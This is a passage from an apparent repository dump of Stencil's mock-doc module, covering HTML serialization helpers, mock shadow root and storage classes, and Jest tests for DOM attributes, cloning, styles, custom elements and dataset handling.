(node.nodeType === NODE_TYPES.DOCUMENT_TYPE_NODE) {\n    yield '<!doctype html>';\n  }\n}\n\nconst AMP_REGEX = /&/g;\nconst NBSP_REGEX = /\\u00a0/g;\nconst DOUBLE_QUOTE_REGEX = /\"/g;\nconst LT_REGEX = /</g;\nconst GT_REGEX = />/g;\nconst CAN_REMOVE_ATTR_QUOTES = /^[^ \\t\\n\\f\\r\"'`=<>\\/\\\\-]+$/;\n\nfunction getTagName(element: Element) {\n  if (element.namespaceURI === 'http://www.w3.org/1999/xhtml') {\n    return element.nodeName.toLowerCase();\n  } else {\n    return element.nodeName;\n  }\n}\n\nfunction escapeString(str: string, attrMode: boolean) {\n  str = str.replace(AMP_REGEX, '&amp;').replace(NBSP_REGEX, '&nbsp;');\n\n  if (attrMode) {\n    return str.replace(DOUBLE_QUOTE_REGEX, '&quot;');\n  }\n\n  return str.replace(LT_REGEX, '&lt;').replace(GT_REGEX, '&gt;');\n}\n\n/**\n * Determine whether a given node is within a whitespace-sensitive node by\n * walking the parent chain until either a whitespace-sensitive node is found or\n * there are no more parents to examine.\n *\n * @param node a node to check\n * @returns whether or not this is within a whitespace-sensitive node\n */\nfunction isWithinWhitespaceSensitive(node: Node | MockNode) {\n  let _node: Node | MockNode | null = node;\n  while (_node?.nodeName) {\n    if (WHITESPACE_SENSITIVE.has(_node.nodeName)) {\n      return true;\n    }\n    _node = _node.parentNode;\n  }\n  return false;\n}\n\n/**\n * Normalizes the `childNodes` of a node due to if `experimentalSlotFixes` is enabled, `\n * childNodes` will only return 'slotted' / lightDOM nodes\n *\n * @param node to return `childNodes` from\n * @returns a node list of child nodes\n */\nfunction getChildNodes(node: Node | MockNode) {\n  return ((node as any).__childNodes || node.childNodes) as NodeList;\n}\n\n// TODO(STENCIL-1299): Audit this list, remove unsupported/deprecated elements\n/*@__PURE__*/ export const NON_ESCAPABLE_CONTENT = new Set([\n  'STYLE',\n  'SCRIPT',\n  'IFRAME',\n  'NOSCRIPT',\n  'XMP',\n  'NOEMBED',\n  'NOFRAMES',\n  'PLAINTEXT',\n]);\n\n// TODO(STENCIL-1299): Audit this list, remove unsupported/deprecated elements\n/**\n * A list of whitespace sensitive tag names, such as `code`, `pre`, etc.\n */\n/*@__PURE__*/ export const WHITESPACE_SENSITIVE = new Set([\n  'CODE',\n  'OUTPUT',\n  'PLAINTEXT',\n  'PRE',\n  'SCRIPT',\n  'TEMPLATE',\n  'TEXTAREA',\n]);\n\n// TODO(STENCIL-1299): Audit this list, remove unsupported/deprecated elements\n/*@__PURE__*/ export const EMPTY_ELEMENTS = new Set([\n  'area',\n  'base',\n  'basefont',\n  'bgsound',\n  'br',\n  'col',\n  'embed',\n  'frame',\n  'hr',\n  'img',\n  'input',\n  'keygen',\n  'link',\n  'meta',\n  'param',\n  'source',\n  'trace',\n  'track',\n  'wbr',\n]);\n\n// TODO(STENCIL-1299): Audit this list, remove unsupported/deprecated attr\n/*@__PURE__*/ const REMOVE_EMPTY_ATTR = new Set(['class', 'dir', 'id', 'lang', 'name', 'title']);\n\n// TODO(STENCIL-1299): Audit this list, remove unsupported/deprecated attr\n/*@__PURE__*/ const BOOLEAN_ATTR = new Set([\n  'allowfullscreen',\n  'async',\n  'autofocus',\n  'autoplay',\n  'checked',\n  'compact',\n  'controls',\n  'declare',\n  'default',\n  'defaultchecked',\n  'defaultmuted',\n  'defaultselected',\n  'defer',\n  'disabled',\n  'enabled',\n  'formnovalidate',\n  'hidden',\n  'indeterminate',\n  'inert',\n  'ismap',\n  'itemscope',\n  'loop',\n  'multiple',\n  'muted',\n  'nohref',\n  'nomodule',\n  'noresize',\n  'noshade',\n  'novalidate',\n  'nowrap',\n  'open',\n  'pauseonexit',\n  'readonly',\n  'required',\n  'reversed',\n  'scoped',\n  'seamless',\n  'selected',\n  'shadowrootdelegatesfocus',\n  'sortable',\n  'truespeed',\n  'typemustmatch',\n  'visible',\n]);\n\n/*@__PURE__*/ const STRUCTURE_ELEMENTS = new Set([\n  'html',\n  'body',\n  'head',\n  'iframe',\n  'meta',\n  'link',\n  'base',\n  'title',\n  'script',\n  'style',\n]);\n\ninterface SerializeOutput {\n  currentLineWidth: number;\n  indent: number;\n  isWithinBody: boolean;\n  text: string[];\n}\n\n/**\n * Partially duplicate of https://github.com/stenciljs/core/blob/6017dad2cb6fe366242e2e0594f82c8e3a3b5d15/src/declarations/stencil-public-compiler.ts#L895\n * Types can't be imported in this documented as Eslint will not embed the types\n * in the d.ts file.\n */\nexport interface SerializeNodeToHtmlOptions {\n  approximateLineWidth?: number;\n  excludeTagContent?: string[];\n  excludeTags?: string[];\n  indentSpaces?: number;\n  newLines?: boolean;\n  outerHtml?: boolean;\n  prettyHtml?: boolean;\n  removeAttributeQuotes?: boolean;\n  removeBooleanAttributeQuotes?: boolean;\n  removeEmptyAttributes?: boolean;\n  removeHtmlComments?: boolean;\n  serializeShadowRoot?:\n    | 'declarative-shadow-dom'\n    | 'scoped'\n    | {\n        'declarative-shadow-dom'?: string[];\n        scoped?: string[];\n        default: 'declarative-shadow-dom' | 'scoped';\n      }\n    | boolean;\n  fullDocument?: boolean;\n}\n"
  },
  {
    "path": "src/mock-doc/shadow-root.ts",
    "content": "import { MockDocumentFragment } from './document-fragment';\n\nexport class MockShadowRoot extends MockDocumentFragment {\n  get activeElement(): HTMLElement | null {\n    return null;\n  }\n\n  get cloneable(): boolean {\n    return false;\n  }\n\n  get delegatesFocus(): boolean {\n    return false;\n  }\n\n  get fullscreenElement(): HTMLElement | null {\n    return null;\n  }\n\n  get host(): HTMLElement | null {\n    let parent = this.parentElement();\n    while (parent) {\n      if (parent.nodeType === 11) {\n        return parent;\n      }\n      parent = parent.parentElement();\n    }\n    return null;\n  }\n\n  get mode(): 'open' | 'closed' {\n    return 'open';\n  }\n\n  get pictureInPictureElement(): HTMLElement | null {\n    return null;\n  }\n\n  get pointerLockElement(): HTMLElement | null {\n    return null;\n  }\n\n  get serializable(): boolean {\n    return false;\n  }\n\n  get slotAssignment(): 'named' | 'manual' {\n    return 'named';\n  }\n\n  get styleSheets(): StyleSheet[] {\n    return [];\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/storage.ts",
    "content": "export class MockStorage {\n  private items = new Map<string, string>();\n\n  key(_value: number) {\n    //\n  }\n\n  getItem(key: string) {\n    key = String(key);\n\n    if (this.items.has(key)) {\n      return this.items.get(key);\n    }\n    return null;\n  }\n\n  setItem(key: string, value: string) {\n    if (value == null) {\n      value = 'null';\n    }\n    this.items.set(String(key), String(value));\n  }\n\n  removeItem(key: string) {\n    this.items.delete(String(key));\n  }\n\n  clear() {\n    this.items.clear();\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/test/attribute.spec.ts",
    "content": "import { XLINK_NS } from '../../runtime/runtime-constants';\nimport { MockAttr, MockAttributeMap } from '../attribute';\nimport { MockDocument } from '../document';\nimport { MockElement, MockHTMLElement } from '../node';\n\ndescribe('attributes', () => {\n  let doc: MockDocument;\n  beforeEach(() => {\n    doc = new MockDocument();\n  });\n\n  it('attribute map is iterable', () => {\n    const map = new MockAttributeMap();\n    const attr = new MockAttr('attr', 'value');\n    map.setNamedItem(attr);\n\n    expect(Array.from(map)[0]).toBe(attr);\n  });\n\n  it('should get attributes by index', () => {\n    const element = new MockHTMLElement(doc, 'div');\n    element.setAttribute('attr-0', 'value-0');\n    element.setAttribute('attr-1', 'value-1');\n\n    const attributes = Array.from(element.attributes);\n\n    expect(attributes[0].name).toBe('attr-0');\n    expect(attributes[0].value).toBe('value-0');\n    expect(attributes[1].name).toBe('attr-1');\n    expect(attributes[1].value).toBe('value-1');\n    expect(attributes[2]).toBe(undefined);\n  });\n\n  it('attributes are case sensitive in Element', () => {\n    const element = new MockElement(doc, 'div');\n\n    element.setAttribute('viewBox', '0 0 10 10');\n    expect(element.getAttribute('viewBox')).toEqual('0 0 10 10');\n    expect(element.getAttribute('viewbox')).toEqual(null);\n\n    element.removeAttribute('viewbox');\n    expect(element.getAttribute('viewBox')).toEqual('0 0 10 10');\n    expect(element.getAttribute('viewbox')).toEqual(null);\n\n    element.removeAttribute('viewBox');\n    expect(element.getAttribute('viewBox')).toEqual(null);\n\n    element.setAttribute('viewBox', '0 0 10 10');\n    element.setAttribute('viewbox', '0 0 20 20');\n\n    expect(element.attributes.length).toBe(2);\n    expect(element.attributes.getNamedItem('viewBox').value).toEqual('0 0 10 10');\n    expect(element.attributes.getNamedItem('viewbox').value).toEqual('0 0 20 20');\n\n    expect(element.attributes.getNamedItemNS(null, 'viewBox').value).toEqual('0 0 10 10');\n    expect(element.attributes.getNamedItemNS(null, 'viewbox').value).toEqual('0 0 20 20');\n\n    element.removeAttribute('viewBox');\n    element.removeAttribute('viewbox');\n\n    testNsAttributes(element);\n  });\n\n  it('should cast attribute values to string', () => {\n    const element = new MockHTMLElement(doc, 'div');\n    element.setAttribute('prop1', null);\n    element.setAttribute('prop2', undefined);\n    element.setAttribute('prop3', 0);\n    element.setAttribute('prop4', 1);\n    element.setAttribute('prop5', 'hola');\n    element.setAttribute('prop6', '');\n\n    expect(element.getAttribute('prop1')).toBe('null');\n    expect(element.getAttribute('prop2')).toBe('undefined');\n    expect(element.getAttribute('prop3')).toBe('0');\n    expect(element.getAttribute('prop4')).toBe('1');\n    expect(element.getAttribute('prop5')).toBe('hola');\n    expect(element.getAttribute('prop6')).toBe('');\n\n    expect(element).toEqualHtml(\n      `<div prop1=\\\"null\\\" prop2=\\\"undefined\\\" prop3=\\\"0\\\" prop4=\\\"1\\\" prop5=\\\"hola\\\" prop6></div>`,\n    );\n  });\n\n  it('should cast attributeNS values to string', () => {\n    const element = new MockHTMLElement(doc, 'div');\n    element.setAttributeNS(null, 'prop1', null);\n    element.setAttributeNS(null, 'prop2', undefined);\n    element.setAttributeNS(null, 'prop3', 0);\n    element.setAttributeNS(null, 'prop4', 1);\n    element.setAttributeNS(null, 'prop5', 'hola');\n    element.setAttributeNS(null, 'prop6', '');\n\n    expect(element.getAttribute('prop1')).toBe('null');\n    expect(element.getAttribute('prop2')).toBe('undefined');\n    expect(element.getAttribute('prop3')).toBe('0');\n    expect(element.getAttribute('prop4')).toBe('1');\n    expect(element.getAttribute('prop5')).toBe('hola');\n    expect(element.getAttribute('prop6')).toBe('');\n\n    expect(element).toEqualHtml(\n      `<div prop1=\\\"null\\\" prop2=\\\"undefined\\\" prop3=\\\"0\\\" prop4=\\\"1\\\" prop5=\\\"hola\\\" prop6></div>`,\n    );\n  });\n\n  it('attributes are case insensible in HTMLElement', () => {\n    const element = new MockHTMLElement(doc, 'div');\n\n    element.setAttribute('viewBox', '0 0 10 10');\n    expect(element.getAttribute('viewBox')).toEqual('0 0 10 10');\n    expect(element.getAttribute('viewbox')).toEqual('0 0 10 10');\n    expect(element.getAttributeNS(null, 'viewbox')).toEqual('0 0 10 10');\n    expect(element.getAttributeNS(null, 'viewBox')).toEqual(null);\n\n    expect(element.attributes.length).toEqual(1);\n    expect(element.attributes.item(0).name).toEqual('viewbox');\n\n    element.removeAttribute('viewBox');\n\n    expect(element.getAttribute('viewBox')).toEqual(null);\n    expect(element.getAttribute('viewbox')).toEqual(null);\n\n    element.setAttribute('viewBox', '0 0 10 10');\n    element.setAttribute('viewbox', '0 0 20 20');\n    expect(element.attributes.getNamedItem('viewBox').value).toEqual('0 0 20 20');\n    expect(element.attributes.getNamedItem('viewbox').value).toEqual('0 0 20 20');\n\n    expect(element.attributes.getNamedItemNS(null, 'viewBox')).toEqual(null);\n    expect(element.attributes.getNamedItemNS(null, 'viewbox').value).toEqual('0 0 20 20');\n\n    element.removeAttribute('viewbox');\n\n    testNsAttributes(element);\n  });\n\n  it('xlink_ns namespaces should be reset', () => {\n    const element = new MockHTMLElement(doc, 'div');\n    element.setAttributeNS(XLINK_NS, 'href', 'google.com');\n    expect(element.getAttribute('href')).toEqual('google.com');\n  });\n\n  it('draggable default value', () => {\n    const div = doc.createElement('div');\n    expect(div.draggable).toEqual(false);\n\n    const img = doc.createElement('img');\n    expect(img.draggable).toEqual(true);\n  });\n\n  it('draggable should reflect props to attributes', () => {\n    const div = doc.createElement('div');\n    div.draggable = true;\n    expect(div.getAttribute('draggable')).toEqual('true');\n    div.draggable = false;\n    expect(div.getAttribute('draggable')).toEqual('false');\n  });\n\n  it('draggable should reflect attributes to props', () => {\n    const div = doc.createElement('div');\n    div.setAttribute('draggable', 'true');\n    expect(div.draggable).toEqual(true);\n\n    const img = doc.createElement('img');\n    img.setAttribute('draggable', 'false');\n    expect(img.draggable).toEqual(false);\n  });\n\n  describe('getAttributeNode', () => {\n    it('should return an attribute node if the attribute exists', () => {\n      const div = doc.createElement('div');\n      div.setAttribute('draggable', 'true');\n      expect(div.getAttributeNode('draggable')).toEqual({\n        _name: 'draggable',\n        _namespaceURI: null,\n        _value: 'true',\n      });\n    });\n\n    it('should return `null` if the attribute does not exist', () => {\n      const div = doc.createElement('div');\n      div.setAttribute('draggable', 'true');\n      expect(div.getAttributeNode('test')).toEqual(null);\n    });\n  });\n\n  function testNsAttributes(element: MockHTMLElement) {\n    element.setAttributeNS('tEst', 'viewBox', '1');\n    element.setAttributeNS('tEst', 'viewbox', '2');\n\n    expect(element.attributes.length).toBe(2);\n    expect(element.attributes.getNamedItemNS('test', 'viewBox')).toEqual(null);\n    expect(element.attributes.getNamedItemNS('test', 'viewbox')).toEqual(null);\n    expect(element.attributes.getNamedItemNS('tEst', 'viewBox').name).toEqual('viewBox');\n    expect(element.attributes.getNamedItemNS('tEst', 'viewbox').name).toEqual('viewbox');\n    expect(element.attributes.getNamedItemNS('tEst', 'viewBox').value).toEqual('1');\n    expect(element.attributes.getNamedItemNS('tEst', 'viewbox').value).toEqual('2');\n\n    element.removeAttributeNS('test', 'viewBox');\n    element.removeAttributeNS('test', 'viewbox');\n\n    expect(element.attributes.length).toBe(2);\n\n    element.removeAttributeNS('tEst', 'viewBox');\n    element.removeAttributeNS('tEst', 'viewbox');\n\n    expect(element.attributes.length).toBe(0);\n\n    element.setAttribute('value', '123');\n    expect(element.getAttributeNS(null, 'Value')).toBe(null);\n  }\n});\n"
  },
  {
    "path": "src/mock-doc/test/clone.spec.ts",
    "content": "import { createDocument, MockDocument } from '../document';\nimport { cloneDocument } from '../window';\n\ndescribe('cloneNode', () => {\n  let doc: MockDocument;\n  beforeEach(() => {\n    doc = new MockDocument();\n  });\n\n  it('style', () => {\n    const elm = doc.createElement('div');\n    elm.setAttribute('style', 'color: red;');\n\n    const cloned = elm.cloneNode(true);\n    expect(cloned.getAttribute('style')).toEqual(`color: red;`);\n  });\n\n  it('id', () => {\n    const elm = doc.createElement('div');\n    elm.setAttribute('id', 'value');\n\n    const cloned = elm.cloneNode(true);\n    expect(cloned.getAttribute('id')).toEqual(`value`);\n  });\n\n  it('div', () => {\n    const doc = createDocument(`\n      <div>\n        content\n      </div>\n    `);\n\n    const cloned = cloneDocument(doc);\n    const clonedDiv = cloned.querySelector('div');\n\n    expect(clonedDiv.innerHTML.trim()).toEqual(`content`);\n  });\n\n  it('template', () => {\n    const doc = createDocument(`\n      <template>\n        content\n      </template>\n    `);\n\n    const cloned = cloneDocument(doc);\n    const clonedTemplate = cloned.querySelector('template');\n\n    expect(clonedTemplate.innerHTML.trim()).toEqual(`content`);\n    expect(clonedTemplate.content.firstChild.textContent.trim()).toEqual(`content`);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/css-style-declaration.spec.ts",
    "content": "import { MockCSSStyleDeclaration } from '../css-style-declaration';\nimport { MockDocument } from '../document';\nimport { MockHTMLElement } from '../node';\n\ndescribe('css-style-declaration', () => {\n  let doc: MockDocument;\n  beforeEach(() => {\n    doc = new MockDocument();\n  });\n\n  it('should set attributes correctly', () => {\n    const cssAttr = new MockCSSStyleDeclaration();\n    cssAttr.cssText = 'color: red';\n\n    expect(cssAttr.cssText).toBe('color: red;');\n  });\n\n  it('should handle attributes containing colons', () => {\n    const cssAttr = new MockCSSStyleDeclaration();\n    cssAttr.cssText = 'background-image: (https://ionic.io/img/ionic-io-og-img.png);';\n\n    expect(cssAttr.cssText).toBe('background-image: (https://ionic.io/img/ionic-io-og-img.png);');\n  });\n\n  it('should set styles on html elements', () => {\n    const element = new MockHTMLElement(doc, 'div');\n    element.style = 'color: red; font-family: \"My Custom Font\"';\n\n    expect(element.style.cssText).toEqual('color: red; font-family: \"My Custom Font\";');\n    expect(element.style.cssText).toEqual(element.getAttribute('style'));\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/css-style-sheet.spec.ts",
    "content": "import { MockDocument } from '../document';\nimport { MockStyleElement } from '../element';\n\ndescribe('css-style-sheet', () => {\n  let doc: MockDocument;\n  let style: MockStyleElement;\n\n  beforeEach(() => {\n    doc = new MockDocument();\n    style = doc.createElement('style');\n    doc.head.appendChild(style);\n  });\n\n  it('innerHTML', () => {\n    style.innerHTML = 'body{color:red}';\n    expect(style.childNodes).toHaveLength(1);\n    expect(style.innerHTML).toBe('body{color:red}');\n    style.sheet.insertRule('body{color:blue}');\n    expect(style.childNodes).toHaveLength(1);\n    expect(style.innerHTML).toBe('body{color:blue}\\nbody{color:red}');\n    style.innerHTML = 'body{color:green}';\n    expect(style.childNodes).toHaveLength(1);\n    expect(style.innerHTML).toBe('body{color:green}');\n  });\n\n  it('insertRule / deleteRule', () => {\n    style.sheet.insertRule('body{color:red}');\n    expect(style.sheet.cssRules).toHaveLength(1);\n\n    style.sheet.insertRule('body{color:blue}');\n    expect(style.sheet.cssRules).toHaveLength(2);\n    expect(style.sheet.cssRules[0].cssText).toBe('body{color:blue}');\n    expect(style.sheet.cssRules[1].cssText).toBe('body{color:red}');\n\n    style.sheet.insertRule('body{color:green}', -1);\n    expect(style.sheet.cssRules).toHaveLength(3);\n    expect(style.sheet.cssRules[0].cssText).toBe('body{color:green}');\n    expect(style.sheet.cssRules[1].cssText).toBe('body{color:blue}');\n    expect(style.sheet.cssRules[2].cssText).toBe('body{color:red}');\n\n    style.sheet.insertRule('body{color:yellow}', 88);\n    expect(style.sheet.cssRules).toHaveLength(4);\n    expect(style.sheet.cssRules[0].cssText).toBe('body{color:green}');\n    expect(style.sheet.cssRules[1].cssText).toBe('body{color:blue}');\n    expect(style.sheet.cssRules[2].cssText).toBe('body{color:red}');\n    expect(style.sheet.cssRules[3].cssText).toBe('body{color:yellow}');\n\n    style.sheet.deleteRule(0);\n    expect(style.sheet.cssRules).toHaveLength(3);\n    expect(style.sheet.cssRules[0].cssText).toBe('body{color:blue}');\n    expect(style.sheet.cssRules[1].cssText).toBe('body{color:red}');\n    expect(style.sheet.cssRules[2].cssText).toBe('body{color:yellow}');\n\n    style.sheet.deleteRule(1);\n    expect(style.sheet.cssRules).toHaveLength(2);\n    expect(style.sheet.cssRules[0].cssText).toBe('body{color:blue}');\n    expect(style.sheet.cssRules[1].cssText).toBe('body{color:yellow}');\n\n    style.sheet.deleteRule(88);\n    expect(style.sheet.cssRules).toHaveLength(2);\n\n    style.sheet.deleteRule(-88);\n    expect(style.sheet.cssRules).toHaveLength(2);\n  });\n\n  it('sheet', () => {\n    expect(style.sheet).toBeDefined();\n    expect(style.sheet.ownerNode).toBe(style);\n    expect(style.sheet.type).toBe('text/css');\n    expect(style.sheet.parentStyleSheet).toBe(null);\n    expect(style.sheet.cssRules).toHaveLength(0);\n  });\n\n  it('document.styleSheets', () => {\n    expect(doc.styleSheets).toHaveLength(1);\n    const style2 = doc.createElement('style');\n    doc.head.appendChild(style2);\n    expect(doc.styleSheets).toHaveLength(2);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/custom-elements.spec.ts",
    "content": "import { createWindow } from '../window';\n\ndescribe('customElements', () => {\n  it('attributeChangedCallback, removeAttribute', () => {\n    let attrName: string = '';\n    let oldValue: string = '';\n    let newValue: string = '';\n    let called = 0;\n\n    customElements.define(\n      'cmp-a',\n      class extends HTMLElement {\n        attributeChangedCallback(name: string, oldVal: string, newVal: string) {\n          attrName = name;\n          oldValue = oldVal;\n          newValue = newVal;\n          called++;\n        }\n        static get observedAttributes() {\n          return ['attr-a', 'attr-b'];\n        }\n      },\n    );\n\n    const cmpA = document.createElement('CMP-a');\n    cmpA.setAttribute('attr-a', 'value-a');\n    expect(attrName).toBe('attr-a');\n    expect(oldValue).toBe(null);\n    expect(newValue).toBe('value-a');\n    expect(called).toBe(1);\n\n    document.body.appendChild(cmpA);\n\n    cmpA.removeAttribute('attr-a');\n    expect(attrName).toBe('attr-a');\n    expect(oldValue).toBe('value-a');\n    expect(newValue).toBe(null);\n    expect(called).toBe(2);\n  });\n\n  it('attributeChangedCallback, setAttribute', () => {\n    let attrName: string = '';\n    let oldValue: string = '';\n    let newValue: string = '';\n    let called = 0;\n\n    customElements.define(\n      'cmp-a',\n      class extends HTMLElement {\n        attributeChangedCallback(name: string, oldVal: string, newVal: string) {\n          attrName = name;\n          oldValue = oldVal;\n          newValue = newVal;\n          called++;\n        }\n        static get observedAttributes() {\n          return ['attr-a', 'attr-b'];\n        }\n      },\n    );\n\n    const cmpA = document.createElement('cmp-a');\n    document.body.appendChild(cmpA);\n    expect(attrName).toBe('');\n    expect(called).toBe(0);\n\n    cmpA.setAttribute('attr-a', 'value-a');\n    expect(attrName).toBe('attr-a');\n    expect(oldValue).toBe(null);\n    expect(newValue).toBe('value-a');\n    expect(called).toBe(1);\n\n    cmpA.setAttribute('attr-a', 'value-a');\n    expect(attrName).toBe('attr-a');\n    expect(oldValue).toBe(null);\n    expect(newValue).toBe('value-a');\n    expect(called).toBe(1);\n\n    cmpA.setAttribute('attr-a', 'value-b');\n    expect(attrName).toBe('attr-a');\n    expect(oldValue).toBe('value-a');\n    expect(newValue).toBe('value-b');\n    expect(called).toBe(2);\n\n    cmpA.setAttribute('attr-b', 'value-a');\n    expect(attrName).toBe('attr-b');\n    expect(oldValue).toBe(null);\n    expect(newValue).toBe('value-a');\n    expect(called).toBe(3);\n  });\n\n  it('connectedCallback, innerHTML', () => {\n    let connectedInc = 0;\n    let disconnectedInc = 0;\n\n    customElements.define(\n      'cmp-a',\n      class extends HTMLElement {\n        connectedCallback() {\n          connectedInc++;\n        }\n        disconnectedCallback() {\n          disconnectedInc++;\n        }\n      },\n    );\n\n    expect(connectedInc).toBe(0);\n    expect(disconnectedInc).toBe(0);\n\n    document.body.innerHTML = `\n      <div>\n        <cmp-a></cmp-a>\n      </div>\n    `;\n\n    expect(connectedInc).toBe(1);\n    expect(disconnectedInc).toBe(0);\n\n    expect(document.body.outerHTML).toEqualHtml(`\n      <body>\n        <div>\n          <cmp-a></cmp-a>\n        </div>\n      </body>\n    `);\n\n    document.body.innerHTML = '';\n    expect(connectedInc).toBe(1);\n    expect(disconnectedInc).toBe(1);\n    expect(document.body.outerHTML).toEqualHtml(``);\n  });\n\n  it('connectedCallback, multiple appendChild', () => {\n    let connectedInc = 0;\n\n    customElements.define(\n      'cmp-a',\n      class extends HTMLElement {\n        connectedCallback() {\n          connectedInc++;\n        }\n      },\n    );\n\n    expect(connectedInc).toBe(0);\n    const cmpA1 = document.createElement('cmp-a');\n    const cmpA2 = document.createElement('cmp-a');\n    expect(connectedInc).toBe(0);\n    document.body.appendChild(cmpA1);\n    expect(connectedInc).toBe(1);\n    document.body.appendChild(cmpA2);\n    expect(connectedInc).toBe(2);\n    expect(document.body.outerHTML).toEqualHtml(`\n      <body>\n        <cmp-a></cmp-a>\n        <cmp-a></cmp-a>\n      </body>\n    `);\n  });\n\n  it('connectedCallback, insertBefore null', () => {\n    let connectedInc = 0;\n\n    customElements.define(\n      'cmp-a',\n      class extends HTMLElement {\n        connectedCallback() {\n          connectedInc++;\n        }\n      },\n    );\n\n    expect(connectedInc).toBe(0);\n    const cmpA = document.createElement('cmp-a');\n    expect(connectedInc).toBe(0);\n    document.body.insertBefore(cmpA, null);\n    expect(connectedInc).toBe(1);\n    expect(document.body.outerHTML).toEqualHtml(`<body><cmp-a></cmp-a></body>`);\n  });\n\n  it('connectedCallback, insertBefore elm', () => {\n    let connectedInc = 0;\n\n    customElements.define(\n      'cmp-a',\n      class extends HTMLElement {\n        connectedCallback() {\n          connectedInc++;\n        }\n      },\n    );\n\n    expect(connectedInc).toBe(0);\n    const ref = document.createElement('div');\n    document.body.insertBefore(ref, null);\n    const cmpA = document.createElement('cmp-a');\n    document.body.insertBefore(cmpA, ref);\n    expect(connectedInc).toBe(1);\n    expect(document.body.outerHTML).toEqualHtml(`<body><cmp-a></cmp-a><div></div></body>`);\n  });\n\n  it('appendChild nested, scoped to mocked window', () => {\n    let connectedInc = 0;\n    let disconnectedInc = 0;\n    const win = createWindow() as any;\n\n    win.customElements.define(\n      'cmp-a',\n      class extends win.HTMLElement {\n        connectedCallback() {\n          connectedInc++;\n        }\n        disconnectedCallback() {\n          disconnectedInc++;\n        }\n      },\n    );\n\n    expect(connectedInc).toBe(0);\n    expect(disconnectedInc).toBe(0);\n\n    const parentElm = win.document.createElement('div');\n    const cmpA = win.document.createElement('cmp-a');\n    parentElm.appendChild(cmpA);\n    win.document.body.appendChild(parentElm);\n\n    expect(connectedInc).toBe(1);\n    expect(disconnectedInc).toBe(0);\n\n    expect(win.document.body.outerHTML).toEqualHtml(`<body><div><cmp-a></cmp-a></div></body>`);\n\n    win.document.body.removeChild(parentElm);\n    expect(connectedInc).toBe(1);\n    expect(disconnectedInc).toBe(1);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/dataset.spec.ts",
    "content": "import { createDocument } from '../document';\n\ndescribe('dataset', () => {\n  const doc = createDocument();\n  let elm: HTMLElement;\n\n  beforeEach(() => {\n    elm = doc.createElement('div');\n  });\n\n  it('get dataset object', () => {\n    elm.dataset.milesPerHour = '88';\n    expect(elm.dataset).toEqual({\n      milesPerHour: '88',\n    });\n  });\n\n  it('get dataset from attr set', () => {\n    elm.setAttribute('data-miles-per-hour', '88');\n    expect(elm.dataset.milesPerHour).toBe('88');\n  });\n\n  it('get dataset', () => {\n    elm.dataset.milesPerHour = 88 as any;\n    expect(elm.dataset.milesPerHour).toBe('88');\n  });\n\n  it('set data dash case attr with bracket notation', () => {\n    elm.dataset['milesPerHour'] = '88';\n    expect(elm.getAttribute('data-miles-per-hour')).toBe('88');\n  });\n\n  it('set data dash case attr', () => {\n    elm.dataset.milesPerHour = '88';\n    expect(elm.getAttribute('data-miles-per-hour')).toBe('88');\n    expect(elm.dataset).toEqual({\n      milesPerHour: '88',\n    });\n  });\n\n  it('set data attr', () => {\n    elm.dataset.mph = '88';\n    expect(elm.getAttribute('data-mph')).toBe('88');\n  });\n\n  it('set data attr with bracket notation', () => {\n    elm.dataset['mph'] = '88';\n    expect(elm.getAttribute('data-mph')).toBe('88');\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/doc-style.spec.ts",
    "content": "import { MockDocument } from '../document';\n\ndescribe('style', () => {\n  let doc: MockDocument;\n  beforeEach(() => {\n    doc = new MockDocument();\n  });\n\n  it('style set CSS2Properties', () => {\n    const elm = doc.createElement('div');\n    elm.style.color = 'red';\n    elm.style.fontSize = '14px';\n\n    expect(elm.getAttribute('style')).toEqual(`color: red; font-size: 14px;`);\n    expect(elm.style.length).toEqual(2);\n    expect(elm.style.color).toEqual(`red`);\n    expect(elm.style.fontSize).toEqual(`14px`);\n    expect(elm.style.getPropertyValue('color')).toEqual(`red`);\n    expect(elm.style.getPropertyValue('font-size')).toEqual(`14px`);\n  });\n\n  it('style setProperty()', () => {\n    const elm = doc.createElement('div');\n    elm.style.setProperty('color', 'red');\n    elm.style.setProperty('font-size', '14px');\n\n    expect(elm.getAttribute('style')).toEqual(`color: red; font-size: 14px;`);\n    expect(elm.style.length).toEqual(2);\n    expect(elm.style.color).toEqual(`red`);\n    expect(elm.style.fontSize).toEqual(`14px`);\n    expect(elm.style.getPropertyValue('color')).toEqual(`red`);\n    expect(elm.style.getPropertyValue('font-size')).toEqual(`14px`);\n  });\n\n  it('set style attr', () => {\n    const elm = doc.createElement('div');\n    elm.setAttribute('style', 'color: red; font-size: 14px;');\n\n    expect(elm.getAttribute('style')).toEqual(`color: red; font-size: 14px;`);\n    expect(elm.style.length).toEqual(2);\n    expect(elm.style.color).toEqual(`red`);\n    expect(elm.style.fontSize).toEqual(`14px`);\n    expect(elm.style.getPropertyValue('color')).toEqual(`red`);\n    expect(elm.style.getPropertyValue('font-size')).toEqual(`14px`);\n  });\n\n  it('parse style attr', () => {\n    let elm = doc.createElement('div');\n    elm.innerHTML = `<div style=\"color: red; font-size: 14px;\">text</div>`;\n    elm = elm.firstElementChild;\n\n    expect(elm.getAttribute('style')).toEqual(`color: red; font-size: 14px;`);\n    expect(elm.style.length).toEqual(2);\n    expect(elm.style.color).toEqual(`red`);\n    expect(elm.style.fontSize).toEqual(`14px`);\n    expect(elm.style.getPropertyValue('color')).toEqual(`red`);\n    expect(elm.style.getPropertyValue('font-size')).toEqual(`14px`);\n  });\n\n  it('no style attr', () => {\n    let elm = doc.createElement('div');\n    elm.innerHTML = `<div>text</div>`;\n    elm = elm.firstElementChild;\n\n    expect(elm.getAttribute('style')).toEqual(null);\n    expect(elm.style.length).toEqual(0);\n    expect(elm.style.color).toEqual(``);\n    expect(elm.style.fontSize).toEqual(``);\n    expect(elm.style.getPropertyValue('color')).toEqual(``);\n    expect(elm.style.getPropertyValue('font-size')).toEqual(``);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/document-fragment.spec.ts",
